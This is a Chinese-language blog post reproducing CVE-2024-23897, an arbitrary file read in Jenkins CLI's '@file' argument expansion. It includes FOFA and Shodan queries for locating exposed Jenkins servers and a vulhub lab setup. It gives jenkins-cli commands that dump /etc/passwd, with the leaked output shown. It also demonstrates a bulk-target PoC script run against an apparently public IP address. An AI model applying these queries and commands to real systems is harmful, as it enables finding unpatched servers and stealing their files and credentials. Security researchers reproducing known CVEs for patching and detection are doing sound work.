Jenkins:CVE-2024-23897[任意文件读取]

Jenkins简介:一个开源的自动化服务器,它可以帮助自动化各种任务,包括构建、测试和部署软件。

漏洞原理

1.Jenkins服务器在处理客户端远程命令时,Jenkins 使用 args4j 库来解析 Jenkins 控制器上的命令参数和选项。

2.此命令解析器具有一项功能,可将参数中后跟文件路径的 @ 字符替换为文件的内容。

3.此功能默认启用,Jenkins 2.441 及更早版本、LTS 2.426.2 及更早版本不会禁用此功能。

FOFA查询语法

复制代码
(header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols") && port="443"

Shodan语法

复制代码
http.component:"Jenkins" port:8080

漏洞利用

1.开启vulhub靶场

复制代码
cd ./vulhub-master/jenkins/CVE-2024-23897

docker-compose up

docker ps

Name Command State Ports


cve-2024-23897_jenkins_1 /usr/bin/tini -- /usr/loca ... Up 0.0.0.0:50000->50000/tcp,:::50000->50000/tcp, 0.0.0.0:5005->5005/tcp,:::5005->5005/tcp,

0.0.0.0:8080->8080/tcp,:::8080->8080/tcp

2.访问网页

http://ip:8080

3.下载客户端用于远程访问

复制代码
wget http://IP:8080/jnlpJars/jenkins-cli.jar

4.使用客户端连接服务器,指定文件作为参数,回显文件内容

复制代码
java -jar jenkins-cli.jar -s http://192.168.10.5:8080 help @/etc/passwd

[root@localhost ~]# java -jar jenkins-cli.jar -s http://192.168.10.5:8080 help @/etc/passwd

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

如果用户权限较高可使用 reload-job 读取文件完整内容

复制代码
java -jar jenkins-cli.jar -s http://192.168.10.5:8080 reload-job @/etc/passwd

[root@localhost ~]# java -jar jenkins-cli.jar -s http://192.168.10.5:8080 reload-job @/etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such item 'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin' exists.
root:x:0:0:root:/root:/bin/bash: No such item 'root:x:0:0:root:/root:/bin/bash' exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such item 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin' exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such item 'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin' exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such item '_apt:x:42:65534::/nonexistent:/usr/sbin/nologin' exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such item 'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin' exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such item 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin' exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such item 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin' exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such item 'bin:x:2:2:bin:/bin:/usr/sbin/nologin' exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such item 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin' exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such item 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin' exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such item 'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin' exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such item 'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin' exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such item 'jenkins:x:1000:1000::/var/jenkins_home:/bin/bash' exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such item 'games:x:5:60:games:/usr/games:/usr/sbin/nologin' exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such item 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin' exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such item 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin' exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such item 'sys:x:3:3:sys:/dev:/usr/sbin/nologin' exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such item 'sync:x:4:65534:sync:/bin:/bin/sync' exists.

poc工具使用

作者地址:GitHub - h4x0r-dz/CVE-2024-23897: CVE-2024-23897

CVE-2024-23897.py

复制代码
CVE-2024-23897.py [-h] [-u URL] [-l LIST] -f文件

CVE-2024-23897漏洞脚本。

可选参数:
-h,------help显示帮助信息并退出
-u URL,------URL URL单目标URL。
-l LIST,------LIST LIST包含目标主机列表的文件。
-f FILE,------FILE FILE从服务器读取的文件路径。

[root@localhost CVE-2024-23897-main]# python3 CVE-2024-23897.py -u 52.83.63.195:9999 -f /etc/passwd
RESPONSE from 52.83.63.195:9999: b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00<\x08ERROR: Too many arguments: bin:x:1:1:bin:/bin:/sbin/nologin\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00N\x08Lists all the available commands or a detailed description of single command.\n\x00\x00\x00J\x08 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'

官方安全公告:Jenkins Security Advisory 2024-01-24

其他漏洞:https://korelogic.com/advisories.html

漏洞分析:Jenkins RCE漏洞PoC发布,CVE-2024-23897漏洞解析 - FreeBuf网络安全行业门户

漏洞利用及java低版本报错解决:Jenkins CLI 任意文件读取漏洞(CVE-2024-23897)复现 - BMCel - 博客园 (cnblogs.com)

相关推荐
橘颂TA3 分钟前
线程池与线程安全:后端开发的 “性能 + 安全” 双维实践
java·开发语言·安全
梁辰兴34 分钟前
中国信通院发布《人工智能安全治理研究报告(2025年)》,AI安全攻防为何“易攻难守“?
人工智能·安全·ai·ai安全·梁辰兴·人工智能安全治理·中国信通院
飞飞传输37 分钟前
适配信创环境的传输系统推荐:助力企业数据安全合规传输!
大数据·运维·安全
●VON1 小时前
智能暗战:AI 安全攻防实战全景解析
人工智能·学习·安全·von
廋到被风吹走1 小时前
【Spring】Spring Boot Actuator 深度解析:健康检查、指标暴露与端点安全
spring boot·安全·spring
乐迪信息1 小时前
乐迪信息:防止船舶误入禁航区:AI偏航检测精准干预
大数据·运维·人工智能·物联网·安全
Bug.ink1 小时前
BUUCTF——WEB(8)
web安全·网络安全·buuctf
oMcLin2 小时前
如何在Rocky Linux 8.5上部署并优化Jenkins流水线,支持跨平台CI/CD自动化与容器化构建?
linux·ci/cd·jenkins
上海云盾-小余2 小时前
im即时通讯被攻击使用游戏盾高防方案有效解决
网络·网络协议·web安全·游戏·金融·ddos
无心水5 小时前
【分布式利器:腾讯TSF】7、TSF高级部署策略全解析:蓝绿/灰度发布落地+Jenkins CI/CD集成(Java微服务实战)
java·人工智能·分布式·ci/cd·微服务·jenkins·腾讯tsf